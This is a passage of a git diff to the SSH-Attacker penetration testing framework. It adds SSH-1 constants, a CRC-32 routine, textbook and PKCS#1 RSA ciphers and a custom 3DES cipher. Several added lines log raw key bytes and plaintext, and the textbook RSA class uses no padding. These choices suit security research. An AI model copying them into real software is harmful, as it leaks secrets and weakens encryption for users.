RSA1024_SHA1(KeyExchangeFlowType.RSA, "rsa1024-sha1", "SHA-1"),
RSA2048_SHA256(KeyExchangeFlowType.RSA, "rsa2048-sha256", "SHA-256"),
+
// [ RFC 8308 ]
EXT_INFO_S(null, "ext-info-s", null),
EXT_INFO_C(null, "ext-info-c", null),
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/MessageIdConstant.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/MessageIdConstant.java
index 87d14d47c..eef98d458 100755
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/MessageIdConstant.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/MessageIdConstant.java
@@ -8,15 +8,20 @@
package de.rub.nds.sshattacker.core.constants;
import de.rub.nds.sshattacker.core.exceptions.ParserException;
-import de.rub.nds.sshattacker.core.state.SshContext;
+import de.rub.nds.sshattacker.core.state.Context;
import java.util.*;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
public enum MessageIdConstant {
+
/*
* Sources:
* - https://www.iana.org/assignments/ssh-parameters/ssh-parameters.xhtml#ssh-parameters-1
*/
// [ RFC 4253 ]
+ VERSION_EXCHANGE_MESSAGE((byte) 200),
+ ASCII_MESSAGE((byte) 201),
SSH_MSG_DISCONNECT((byte) 1),
SSH_MSG_IGNORE((byte) 2),
SSH_MSG_UNIMPLEMENTED((byte) 3),
@@ -145,6 +150,8 @@ public enum MessageIdConstant {
public static final Map> map;
+ private static final Logger LOGGER = LogManager.getLogger();
+
static {
Map> mutableMap = new TreeMap<>();
for (MessageIdConstant constant : values()) {
@@ -177,9 +184,10 @@ public static String getNameById(byte id) {
}
}
- public static MessageIdConstant fromId(byte id, SshContext context) {
+ public static MessageIdConstant fromId(byte id, Context context) {
List idList = map.get(id);
if (idList == null) {
+ LOGGER.warn("Unknonw Message-ID: {}", id);
throw new ParserException("Unable to parse message with unknown id");
}
if (id >= (byte) 30 && id <= (byte) 49) {
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/MessageIdConstantSSH1.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/MessageIdConstantSSH1.java
new file mode 100755
index 000000000..89ef39549
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/MessageIdConstantSSH1.java
@@ -0,0 +1,111 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.constants;
+
+import de.rub.nds.sshattacker.core.exceptions.ParserException;
+import de.rub.nds.sshattacker.core.state.Context;
+import java.util.*;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public enum MessageIdConstantSSH1 {
+ VERSION_EXCHANGE_MESSAGE_SSH1((byte) 0),
+ ASCII_MESSAGE((byte) 40),
+ SSH_MSG_DISCONNECT((byte) 1),
+ SSH_SMSG_PUBLIC_KEY((byte) 2),
+ SSH_CMSG_SESSION_KEY((byte) 3),
+ SSH_CMSG_USER((byte) 4),
+ SSH_CMSG_AUTH_RHOSTS((byte) 5),
+ SSH_CMSG_AUTH_RSA((byte) 6),
+ SSH_SMSG_AUTH_RSA_CHALLENGE((byte) 7),
+ SSH_CMSG_AUTH_RSA_RESPONSE((byte) 8),
+ SSH_CMSG_AUTH_PASSWORD((byte) 9),
+ SSH_CMSG_REQUEST_PTY((byte) 10),
+ SSH_CMSG_WINDOW_SIZE((byte) 11),
+ SSH_CMSG_EXEC_SHELL((byte) 12),
+ SSH_CMSG_EXEC_CMD((byte) 13),
+ SSH_SMSG_SUCCESS((byte) 14),
+ SSH_SMSG_FAILURE((byte) 15),
+ SSH_CMSG_STDIN_DATA((byte) 16),
+ SSH_SMSG_STDOUT_DATA((byte) 17),
+ SSH_SMSG_STDERR_DATA((byte) 18),
+ SSH_CMSG_EOF((byte) 19),
+ SSH_SMSG_EXITSTATUS((byte) 20),
+ SSH_MSG_CHANNEL_OPEN_CONFIRMATION((byte) 21),
+ SSH_MSG_CHANNEL_OPEN_FAILURE((byte) 22),
+ SSH_MSG_CHANNEL_DATA((byte) 23),
+ SSH_MSG_CHANNEL_CLOSE((byte) 24),
+ SSH_MSG_CHANNEL_CLOSE_CONFIRMATION((byte) 25),
+ SSH_SMSG_X11_OPEN((byte) 27),
+ SSH_CMSG_PORT_FORWARD_REQUEST((byte) 28),
+ SSH_MSG_PORT_OPEN((byte) 29),
+ SSH_CMSG_AGENT_REQUEST_FORWARDING((byte) 30),
+ SSH_SMSG_AGENT_OPEN((byte) 31),
+ SSH_MSG_IGNORE((byte) 32),
+ SSH_CMSG_EXIT_CONFIRMATION((byte) 33),
+ SSH_CMSG_X11_REQUEST_FORWARDING((byte) 34),
+ SSH_CMSG_AUTH_RHOSTS_RSA((byte) 35),
+ SSH_MSG_DEBUG((byte) 36),
+ SSH_CMSG_REQUEST_COMPRESSION((byte) 37),
+ SSH_CMSG_MAX_PACKET_SIZE((byte) 38),
+ SSH_CMSG_AUTH_TIS((byte) 39),
+ SSH_SMSG_AUTH_TIS_CHALLENGE((byte) 40),
+ SSH_CMSG_AUTH_TIS_RESPONSE((byte) 41),
+ SSH_CMSG_AUTH_KERBEROS((byte) 42),
+ SSH_SMSG_AUTH_KERBEROS_RESPONSE((byte) 43),
+ SSH_CMSG_HAVE_KERBEROS_TGT((byte) 44),
+ SSH_CMSG_HAVE_AFS_TOKEN((byte) 65);
+
+ private final byte id;
+ private final Enum>[] specificTo;
+
+ public static final Map> map;
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ static {
+ Map> mutableMap = new TreeMap<>();
+ for (MessageIdConstantSSH1 constant : MessageIdConstantSSH1.values()) {
+ mutableMap.putIfAbsent(constant.id, new LinkedList<>());
+ mutableMap.get(constant.id).add(constant);
+ }
+ mutableMap.replaceAll((k, v) -> Collections.unmodifiableList(mutableMap.get(k)));
+ map = Collections.unmodifiableMap(mutableMap);
+ }
+
+ MessageIdConstantSSH1(byte id) {
+ this.id = id;
+ this.specificTo = new Enum>[] {};
+ }
+
+ MessageIdConstantSSH1(byte id, Enum>... specificTo) {
+ this.id = id;
+ this.specificTo = specificTo;
+ }
+
+ public byte getId() {
+ return id;
+ }
+
+ public static String getNameById(byte id) {
+ if (map.containsKey(id)) {
+ return map.get(id).toString();
+ } else {
+ return String.format("0x%02X", id);
+ }
+ }
+
+ public static MessageIdConstantSSH1 fromId(byte id, Context context) {
+ List idList = map.get(id);
+ if (idList == null) {
+ LOGGER.warn("Unknonw Message-ID: {}", id);
+ throw new ParserException("Unable to parse message with unknown id");
+ }
+ return idList.get(0);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/ProtocolFlag.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/ProtocolFlag.java
new file mode 100644
index 000000000..48c019d37
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/ProtocolFlag.java
@@ -0,0 +1,43 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.constants;
+
+import java.util.Collections;
+import java.util.Map;
+import java.util.TreeMap;
+
+public enum ProtocolFlag {
+
+ // Protocol-Flags from RFC
+ SSH_PROTOFLAG_SCREEN_NUMBER(1),
+ SSH_PROTOFLAG_HOST_IN_FWD_OPEN(2);
+
+ private final int id;
+
+ public static final Map map;
+
+ static {
+ Map mutableMap = new TreeMap<>();
+ for (ProtocolFlag constant : values()) {
+ mutableMap.put(constant.id, constant);
+ }
+ map = Collections.unmodifiableMap(mutableMap);
+ }
+
+ ProtocolFlag(int id) {
+ this.id = id;
+ }
+
+ public int getId() {
+ return id;
+ }
+
+ public static ProtocolFlag fromId(int id) {
+ return map.get(id);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/ProtocolVersion.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/ProtocolVersion.java
new file mode 100644
index 000000000..e948d4989
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/ProtocolVersion.java
@@ -0,0 +1,21 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.constants;
+
+public enum ProtocolVersion {
+ SSH1,
+ SSH2;
+
+ public boolean isSSHv2() {
+ return this == SSH2;
+ }
+
+ public boolean isSSHv1() {
+ return this == SSH1;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/checksum/CRC.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/checksum/CRC.java
new file mode 100644
index 000000000..fc653e2d4
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/checksum/CRC.java
@@ -0,0 +1,115 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.crypto.checksum;
+
+public class CRC {
+
+ // Defines, how long the checksum should be
+ private int width;
+ // Defines which polynomnial should be used to calculate the checksum
+ private long polynomial;
+ // Defines, if the input-value should be reflected or not
+ private boolean reflectIn;
+
+ // Defines, if the output-value shut be reflected or not
+ private boolean reflectOut;
+ // Defines, which value should be used to init the alrogithm
+ private long init;
+ // Defines, if the last value should be xored or not
+ private long finalXor;
+
+ private long reverseBits(long n, int numBits) {
+ long result = 0;
+ for (int i = 0; i < numBits; i++) {
+ result = (result << 1) | ((n >> i) & 1);
+ }
+ return result;
+ }
+
+ /**
+ * Calculates the cyclic redundancy check (CRC) value for the given data.
+ *
+ * @param data the input data for which the CRC value is calculated
+ * @return the calculated CRC value
+ */
+ public long calculateCRC(byte[] data) {
+ long curValue = this.init;
+ long topBit = 1L << (this.width - 1);
+ long mask = (topBit << 1) - 1;
+
+ for (byte b : data) {
+ long curByte = ((long) (b)) & 0x00FFL;
+ if (this.reflectIn) {
+ curByte = reverseBits(curByte, 8);
+ }
+
+ for (int j = 0x80; j != 0; j >>= 1) {
+ long bit = curValue & topBit;
+ curValue <<= 1;
+
+ if ((curByte & j) != 0) {
+ bit ^= topBit;
+ }
+
+ if (bit != 0) {
+ curValue ^= this.polynomial;
+ }
+ }
+ }
+
+ if (this.reflectOut) {
+ curValue = reverseBits(curValue, this.width);
+ }
+
+ curValue ^= this.finalXor;
+
+ return curValue & mask;
+ }
+
+ /**
+ * This class represents a cyclic redundancy check (CRC). It calculates the CRC value for a
+ * given input data. It can be used for any CRC-check calculation.
+ */
+ public CRC(
+ int width,
+ long polynomial,
+ long init,
+ boolean reflectIn,
+ boolean reflectOut,
+ long finalXor) {
+
+ this.width = width;
+ this.polynomial = polynomial;
+ this.init = init;
+ this.reflectIn = reflectIn;
+ this.reflectOut = reflectOut;
+ this.finalXor = finalXor;
+
+ if (this.reflectIn) {
+ this.init = reverseBits(this.init, width);
+ }
+ }
+
+ /**
+ * This class represents a cyclic redundancy check (CRC). It is used to calculate the CRC value
+ * for a given input data. It sets the default values needed for sshv1
+ */
+ public CRC() {
+
+ this.width = 32;
+ this.polynomial = 0x0104C11DB7L;
+ this.init = 0;
+ this.reflectIn = true;
+ this.reflectOut = true;
+ this.finalXor = 0;
+
+ if (this.reflectIn) {
+ this.init = reverseBits(this.init, width);
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/CipherFactory.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/CipherFactory.java
index 308b2b0ef..f41b79f6d 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/CipherFactory.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/CipherFactory.java
@@ -24,6 +24,7 @@ public static AbstractCipher getCipher(EncryptionAlgorithm encryptionAlgorithm,
public static AbstractCipher getCipher(
EncryptionAlgorithm encryptionAlgorithm, byte[] key, boolean mainCipher) {
+ LOGGER.debug("Getting Cipher {}", encryptionAlgorithm.toString());
if (encryptionAlgorithm == EncryptionAlgorithm.NONE) {
return new NoneCipher();
} else if (mainCipher
@@ -31,6 +32,9 @@ public static AbstractCipher getCipher(
// If mainCipher is not set, the factory will return a JavaCipher wrapping a ChaCha20
// instance used for header encryption / decryption
return new ChaCha20Poly1305Cipher(key);
+ } else if (encryptionAlgorithm == EncryptionAlgorithm.TRIPLE_DES_CBC) {
+ LOGGER.debug("Getting Cipher {}", encryptionAlgorithm.toString());
+ return new TribleDESCipher(key);
} else if (encryptionAlgorithm.getJavaName() != null) {
return new JavaCipher(
encryptionAlgorithm,
@@ -59,6 +63,14 @@ public static AbstractCipher getOaepCipher(KeyExchangeAlgorithm keyExchangeAlgor
}
}
+ public static AbstractCipher getRsaPkcs1Cipher(Key key) {
+ return new RsaPkcs1Cipher(key);
+ }
+
+ public static AbstractCipher getRsaTextbookCipher(Key key) {
+ return new RsaTextbookCipher(key);
+ }
+
private CipherFactory() {
super();
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/JavaCipher.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/JavaCipher.java
index ad3f4d08a..247c41844 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/JavaCipher.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/JavaCipher.java
@@ -7,6 +7,7 @@
*/
package de.rub.nds.sshattacker.core.crypto.cipher;
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
import de.rub.nds.sshattacker.core.constants.EncryptionAlgorithm;
import de.rub.nds.sshattacker.core.constants.EncryptionAlgorithmFamily;
import de.rub.nds.sshattacker.core.exceptions.CryptoException;
@@ -20,9 +21,13 @@
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
class JavaCipher extends AbstractCipher {
+ private static final Logger LOGGER = LogManager.getLogger();
+
private final EncryptionAlgorithm algorithm;
private final byte[] key;
private final boolean keepCipherState;
@@ -67,6 +72,8 @@ public byte[] encrypt(byte[] plainData) throws CryptoException {
@Override
public byte[] encrypt(byte[] plainData, byte[] iv) throws CryptoException {
+ LOGGER.debug("JAVA Cipher, key is: ");
+ LOGGER.debug(ArrayConverter.bytesToHexString(key));
IvParameterSpec encryptIv = new IvParameterSpec(iv);
try {
cipher = Cipher.getInstance(algorithm.getJavaName());
@@ -147,6 +154,14 @@ public byte[] decrypt(byte[] encryptedData, byte[] iv) throws CryptoException {
cipher = Cipher.getInstance(algorithm.getJavaName());
String keySpecAlgorithm =
EncryptionAlgorithmFamily.getFamilyForAlgorithm(algorithm).getJavaName();
+
+ LOGGER.debug(
+ "Decrypting with following data: cipher {},KeySpec {}, IV {}, key {}, ciphertext {}",
+ algorithm.getJavaName(),
+ keySpecAlgorithm,
+ ArrayConverter.bytesToHexString(decryptIv.getIV()),
+ ArrayConverter.bytesToHexString(key),
+ ArrayConverter.bytesToHexString(encryptedData));
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, keySpecAlgorithm), decryptIv);
return cipher.doFinal(encryptedData);
} catch (IllegalStateException
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/RsaPkcs1Cipher.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/RsaPkcs1Cipher.java
new file mode 100644
index 000000000..f5c446c85
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/RsaPkcs1Cipher.java
@@ -0,0 +1,93 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.crypto.cipher;
+
+import de.rub.nds.sshattacker.core.constants.EncryptionAlgorithm;
+import de.rub.nds.sshattacker.core.exceptions.CryptoException;
+import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.NoSuchAlgorithmException;
+import javax.crypto.*;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RsaPkcs1Cipher extends AbstractCipher {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private Cipher cipher;
+
+ private final Key key;
+
+ public RsaPkcs1Cipher(Key key) {
+ this.key = key;
+ }
+
+ @Override
+ public byte[] encrypt(byte[] data) throws CryptoException {
+ try {
+ prepareCipher(Cipher.ENCRYPT_MODE);
+ return cipher.doFinal(data);
+ } catch (IllegalBlockSizeException | BadPaddingException e) {
+ throw new CryptoException("Could not encrypt data with RSA/ECB/PKCS1Padding.", e);
+ }
+ }
+
+ @Override
+ public byte[] encrypt(byte[] plainData, byte[] iv) throws CryptoException {
+ throw new UnsupportedOperationException("Encryption with IV not supported.");
+ }
+
+ @Override
+ public byte[] encrypt(byte[] plainData, byte[] iv, byte[] additionalAuthenticatedData)
+ throws CryptoException {
+ throw new UnsupportedOperationException("AEAD encryption not supported.");
+ }
+
+ @Override
+ public byte[] decrypt(byte[] encryptedData) throws CryptoException {
+ try {
+ prepareCipher(Cipher.DECRYPT_MODE);
+ return cipher.doFinal(encryptedData);
+ } catch (IllegalBlockSizeException e) {
+ LOGGER.fatal("Decryption-Error: {}", e.getMessage());
+ LOGGER.fatal(e);
+ throw new CryptoException("Could not decrypt data with RSA/ECB/PKCS1Padding.", e);
+ } catch (BadPaddingException e) {
+ LOGGER.fatal("Possible Attack detected, bad Padding");
+ throw new CryptoException(e);
+ }
+ }
+
+ @Override
+ public byte[] decrypt(byte[] encryptedData, byte[] iv) throws CryptoException {
+ throw new UnsupportedOperationException("Decryption with IV not supported.");
+ }
+
+ @Override
+ public byte[] decrypt(byte[] encryptedData, byte[] iv, byte[] additionalAuthenticatedData)
+ throws CryptoException, AEADBadTagException {
+ throw new UnsupportedOperationException("AEAD decryption not supported.");
+ }
+
+ @Override
+ public EncryptionAlgorithm getAlgorithm() {
+ return null;
+ }
+
+ private void prepareCipher(int mode) {
+ try {
+ Cipher cipher;
+ cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+ cipher.init(mode, key);
+ this.cipher = cipher;
+ } catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidKeyException e) {
+ LOGGER.error("RSA PCKS1 Cipher creation failed with error: " + e);
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/RsaTextbookCipher.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/RsaTextbookCipher.java
new file mode 100644
index 000000000..5b370373a
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/RsaTextbookCipher.java
@@ -0,0 +1,115 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.crypto.cipher;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.core.constants.EncryptionAlgorithm;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPrivateKey;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPublicKey;
+import de.rub.nds.sshattacker.core.exceptions.CryptoException;
+import java.math.BigInteger;
+import java.security.Key;
+import javax.crypto.*;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RsaTextbookCipher extends AbstractCipher {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private Cipher cipher;
+
+ private final Key key;
+
+ private BigInteger publicExponent;
+ private BigInteger modulus;
+ private BigInteger privateExponent;
+
+ public RsaTextbookCipher(Key key) {
+ this.key = key;
+ }
+
+ /**
+ * Encrypts the given byte array using RSA encryption.
+ *
+ * @param plainData the byte array to be encrypted
+ * @return the encrypted byte array
+ * @throws CryptoException if an error occurs during encryption
+ */
+ @Override
+ public byte[] encrypt(byte[] plainData) throws CryptoException {
+ prepareCipher(Cipher.ENCRYPT_MODE);
+ String dataString = ArrayConverter.bytesToRawHexString(plainData);
+ BigInteger dataBigInt = new BigInteger(dataString, 16);
+ BigInteger encryptedBigInt = dataBigInt.modPow(publicExponent, modulus);
+ return ArrayConverter.bigIntegerToByteArray(encryptedBigInt);
+ }
+
+ @Override
+ public byte[] encrypt(byte[] plainData, byte[] iv) throws CryptoException {
+ throw new UnsupportedOperationException("Encryption with IV not supported.");
+ }
+
+ @Override
+ public byte[] encrypt(byte[] plainData, byte[] iv, byte[] additionalAuthenticatedData)
+ throws CryptoException {
+ throw new UnsupportedOperationException("AEAD encryption not supported.");
+ }
+
+ /**
+ * Decrypts the given byte array using RSA decryption.
+ *
+ * @param encryptedData the byte array to be decrypted
+ * @return the decrypted byte array
+ * @throws CryptoException if an error occurs during decryption
+ */
+ @Override
+ public byte[] decrypt(byte[] encryptedData) throws CryptoException {
+ prepareCipher(Cipher.DECRYPT_MODE);
+ String dataString = ArrayConverter.bytesToRawHexString(encryptedData);
+ BigInteger dataBigInt = new BigInteger(dataString, 16);
+ BigInteger decryptedBigInt = dataBigInt.modPow(privateExponent, modulus);
+ return ArrayConverter.bigIntegerToByteArray(decryptedBigInt);
+ }
+
+ @Override
+ public byte[] decrypt(byte[] encryptedData, byte[] iv) throws CryptoException {
+ throw new UnsupportedOperationException("Decryption with IV not supported.");
+ }
+
+ @Override
+ public byte[] decrypt(byte[] encryptedData, byte[] iv, byte[] additionalAuthenticatedData)
+ throws CryptoException, AEADBadTagException {
+ throw new UnsupportedOperationException("AEAD decryption not supported.");
+ }
+
+ @Override
+ public EncryptionAlgorithm getAlgorithm() {
+ return null;
+ }
+
+ /**
+ * Prepares the RSA-Cipher for encryption or decryption mode.
+ *
+ * @param mode the mode of the Cipher object. Use Cipher.ENCRYPT_MODE for encryption and
+ * Cipher.DECRYPT_MODE for decryption.
+ */
+ private void prepareCipher(int mode) {
+ if (key instanceof CustomRsaPublicKey && mode == Cipher.ENCRYPT_MODE) {
+ CustomRsaPublicKey publicKey = (CustomRsaPublicKey) key;
+ modulus = publicKey.getModulus();
+ publicExponent = publicKey.getPublicExponent();
+ } else if (key instanceof CustomRsaPrivateKey && mode == Cipher.DECRYPT_MODE) {
+ CustomRsaPrivateKey privateKey = (CustomRsaPrivateKey) key;
+ modulus = privateKey.getModulus();
+ privateExponent = privateKey.getPrivateExponent();
+ } else {
+ LOGGER.error("Not a valid key or not the correct key for this mode");
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/TribleDESCipher.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/TribleDESCipher.java
new file mode 100644
index 000000000..c16f1c8c2
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/cipher/TribleDESCipher.java
@@ -0,0 +1,154 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.crypto.cipher;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.core.constants.EncryptionAlgorithm;
+import de.rub.nds.sshattacker.core.exceptions.CryptoException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import javax.crypto.*;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+class TribleDESCipher extends AbstractCipher {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+ private final byte[] key1, key2, key3;
+ private final Cipher encCipher1, encCipher2, encCipher3;
+ private final Cipher decCipher1, decCipher2, decCipher3;
+
+ /** Class representing the TripleDES cipher. */
+ public TribleDESCipher(byte[] key) {
+
+ LOGGER.debug("Init with key {}", ArrayConverter.bytesToHexString(key));
+
+ IvParameterSpec encIvSpec1 = new IvParameterSpec(new byte[8]);
+ IvParameterSpec encIvSpec2 = new IvParameterSpec(new byte[8]);
+ IvParameterSpec encIvSpec3 = new IvParameterSpec(new byte[8]);
+ IvParameterSpec decIvSpec1 = new IvParameterSpec(new byte[8]);
+ IvParameterSpec decIvSpec2 = new IvParameterSpec(new byte[8]);
+ IvParameterSpec decIvSpec3 = new IvParameterSpec(new byte[8]);
+
+ this.key1 = new byte[8];
+ this.key2 = new byte[8];
+ this.key3 = new byte[8];
+
+ System.arraycopy(key, 0, this.key1, 0, 8);
+ System.arraycopy(key, 8, this.key2, 0, 8);
+ System.arraycopy(key, 16, this.key3, 0, 8);
+
+ try {
+ this.encCipher1 = Cipher.getInstance("DES/CBC/NoPadding");
+ this.encCipher2 = Cipher.getInstance("DES/CBC/NoPadding");
+ this.encCipher3 = Cipher.getInstance("DES/CBC/NoPadding");
+
+ encCipher1.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(this.key1, "DES"), encIvSpec1);
+ encCipher2.init(Cipher.DECRYPT_MODE, new SecretKeySpec(this.key2, "DES"), encIvSpec2);
+ encCipher3.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(this.key3, "DES"), encIvSpec3);
+
+ this.decCipher1 = Cipher.getInstance("DES/CBC/NoPadding");
+ this.decCipher2 = Cipher.getInstance("DES/CBC/NoPadding");
+ this.decCipher3 = Cipher.getInstance("DES/CBC/NoPadding");
+
+ decCipher1.init(Cipher.DECRYPT_MODE, new SecretKeySpec(this.key3, "DES"), decIvSpec1);
+ decCipher2.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(this.key2, "DES"), decIvSpec2);
+ decCipher3.init(Cipher.DECRYPT_MODE, new SecretKeySpec(this.key1, "DES"), decIvSpec3);
+
+ } catch (NoSuchAlgorithmException
+ | NoSuchPaddingException
+ | InvalidAlgorithmParameterException
+ | InvalidKeyException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Override
+ public byte[] encrypt(byte[] plainData) throws CryptoException {
+ return encrypt(plainData, new byte[8]);
+ }
+
+ /**
+ * Encrypts the given plain data using the 3DES (Triple DES) algorithm.
+ *
+ * @param plainData the data to be encrypted
+ * @param iv the initialization vector
+ * @return the encrypted data
+ * @throws CryptoException if an error occurs during the encryption process
+ */
+ @Override
+ public byte[] encrypt(byte[] plainData, byte[] iv) throws CryptoException {
+ // iv = new byte[8];
+ LOGGER.info(
+ "Encrypting 3DES with data: {} with iv {}",
+ ArrayConverter.bytesToHexString(plainData),
+ ArrayConverter.bytesToHexString(iv));
+
+ LOGGER.debug("Encryption with key {}", ArrayConverter.bytesToHexString(this.key1));
+ LOGGER.debug("Encryption with key {}", ArrayConverter.bytesToHexString(this.key2));
+ LOGGER.debug("Encryption with key {}", ArrayConverter.bytesToHexString(this.key3));
+
+ byte[] enc1 = encCipher1.update(plainData);
+ byte[] enc2 = encCipher2.update(enc1);
+ byte[] enc3 = encCipher3.update(enc2);
+ LOGGER.info("Resulting in encrypted ata: {}", ArrayConverter.bytesToHexString(enc3));
+ return enc3;
+ }
+
+ @Override
+ public byte[] encrypt(byte[] plainData, byte[] iv, byte[] additionalAuthenticatedData)
+ throws CryptoException {
+ throw new UnsupportedOperationException("TribleDES does not support Authentication");
+ }
+
+ @Override
+ public byte[] decrypt(byte[] encryptedData) throws CryptoException {
+ return decrypt(encryptedData, new byte[8]);
+ }
+
+ /**
+ * Decrypts the given encrypted data using the 3DES (Triple DES) algorithm.
+ *
+ * @param encryptedData the data to be decrypted
+ * @param iv the initialization vector
+ * @return the decrypted data
+ * @throws CryptoException if an error occurs during the decryption process
+ */
+ @Override
+ public byte[] decrypt(byte[] encryptedData, byte[] iv) throws CryptoException {
+ // iv = new byte[8];
+ LOGGER.info(
+ "Decrypting 3DES with data: {} with iv {}",
+ ArrayConverter.bytesToHexString(encryptedData),
+ ArrayConverter.bytesToHexString(iv));
+
+ LOGGER.debug("Decryption with key {}", ArrayConverter.bytesToHexString(this.key1));
+ LOGGER.debug("Decryption with key {}", ArrayConverter.bytesToHexString(this.key2));
+ LOGGER.debug("Decryption with key {}", ArrayConverter.bytesToHexString(this.key3));
+
+ byte[] enc1 = decCipher1.update(encryptedData);
+ byte[] enc2 = decCipher2.update(enc1);
+ byte[] enc3 = decCipher3.update(enc2);
+ LOGGER.info("Resulting in decrypted data: {}", ArrayConverter.bytesToHexString(enc3));
+ return enc3;
